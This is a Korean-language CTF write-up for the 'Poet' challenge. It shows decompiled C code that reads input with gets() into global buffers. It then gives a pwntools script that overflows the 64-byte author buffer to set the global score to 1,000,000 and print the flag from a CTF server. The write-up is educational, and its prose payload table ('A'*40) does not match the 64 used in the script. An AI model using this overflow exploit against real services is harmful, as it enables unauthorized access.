Poet
Source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
void __noreturn reward()
{
char s[136]; // [rsp+0h] [rbp-90h] BYREF
FILE *stream; // [rsp+88h] [rbp-8h]
stream = fopen("./flag.txt", "r");
fgets(s, 128, stream);
printf(format, &author, s);
exit(0);
}
int rate_poem()
{
char dest[1032]; // [rsp+0h] [rbp-410h] BYREF
char *s1; // [rsp+408h] [rbp-8h]
strcpy(dest, poem);
for ( s1 = strtok(dest, " \n"); s1; s1 = strtok(0LL, " \n") )
{
if ( !strcmp(s1, "ESPR")
|| !strcmp(s1, "eat")
|| !strcmp(s1, "sleep")
|| !strcmp(s1, "pwn")
|| !strcmp(s1, "repeat")
|| !strcmp(s1, "CTF")
|| !strcmp(s1, "capture")
|| !strcmp(s1, "flag") )
{
point += 100;
}
}
return printf(asc_400BC0, poem, (unsigned int)point);
}
__int64 get_author()
{
printf(&byte_400C38);
return gets(&author);
}
__int64 get_poem()
{
__int64 result; // rax
printf("Enter :\n> ");
result = gets(poem);
point = 0;
return result;
}
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
setvbuf(_bss_start, 0LL, 2, 0LL);
v3 = s;
puts(s);
while ( 1 )
{
get_poem(); // poem[1024]
get_author(v3); // author[64]
rate_poem(v3);
if ( point == 1000000 )
break;
v3 = asc_400D78;
puts(asc_400D78);
}
reward(v3);
}
Solve
poem과 author, point는 전역변수이며 각각 사이즈는 1024,64 이고 point는 정수형이다.
get_poem에서 poem에 입력을 받고, get_author에 author를 입력 받고 rate_poem에서 poem에 입력된 것을 토대로 point가 +100된다. rate_poem에서는 입력 포인트가 없고 get_poem 또는 get_author에서 bof를 일으켜야 할 거 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int rate_poem()
{
char dest[1032]; // [rsp+0h] [rbp-410h] BYREF
char *s1; // [rsp+408h] [rbp-8h]
strcpy(dest, poem);
__int64 get_poem()
{
__int64 result; // rax
printf("Enter :\n> ");
result = gets(poem);
point = 0;
return result;
}
get_poem()에서 gets로 입력을 받아도 rate_poem에서 dest복사 시에 1032만큼만 복사하기 때문에 바이너리에 영향을 끼치지 않는다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int rate_poem()
{
char dest[1032]; // [rsp+0h] [rbp-410h] BYREF
char *s1; // [rsp+408h] [rbp-8h]
strcpy(dest, poem);
for ( s1 = strtok(dest, " \n"); s1; s1 = strtok(0LL, " \n") )
{
if ( !strcmp(s1, "ESPR")
|| !strcmp(s1, "eat")
|| !strcmp(s1, "sleep")
|| !strcmp(s1, "pwn")
|| !strcmp(s1, "repeat")
|| !strcmp(s1, "CTF")
|| !strcmp(s1, "capture")
|| !strcmp(s1, "flag") )
{
point += 100;
}
}
return printf(asc_400BC0, poem, (unsigned int)point);
}
__int64 get_author()
{
printf(&byte_400C38);
return gets(&author);
}
get_author에서 받는 입력은 제약이 되지 않는다. 그 이유는 copy하는 대상이 없고 get_author에서 입력받은 데이터 자체를 사용하기 때문이다.
하지만 rate_poem에서 BOF를 일으키긴 어렵고 strtok를 이용해 메인함수의 if문을 탈출하는 방법을 택해야 겠다.
페이로드는 이렇다.
“ESPR” | “A”*40 | 999900 |
poem | author | point |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#context.arch = 'amd64'
#context.terminal=['tmux', 'splitw', '-h']
#p = process("./poet")
p = remote('ctf.j0n9hyun.xyz', 3012)
reward = 0x4007e6
pop_rdi = 0x400ab3
#gdb.attach(p, 'b*0x04009c9')
print p.recvuntil("> ")
poem = "ESPR"
p.sendline(poem)
print p.recvuntil("> ")
author = "A"*64 + p64(999900)
p.sendline(author)
p.interactive()
이번 문제에서 배운것은 입력과 출력에 대한 부분을 찾는 것도 찾는 것이지만 제약 받는 부분을 찾아 제한하는 것도 중요하다는 것을 다시한번 더 느꼈다.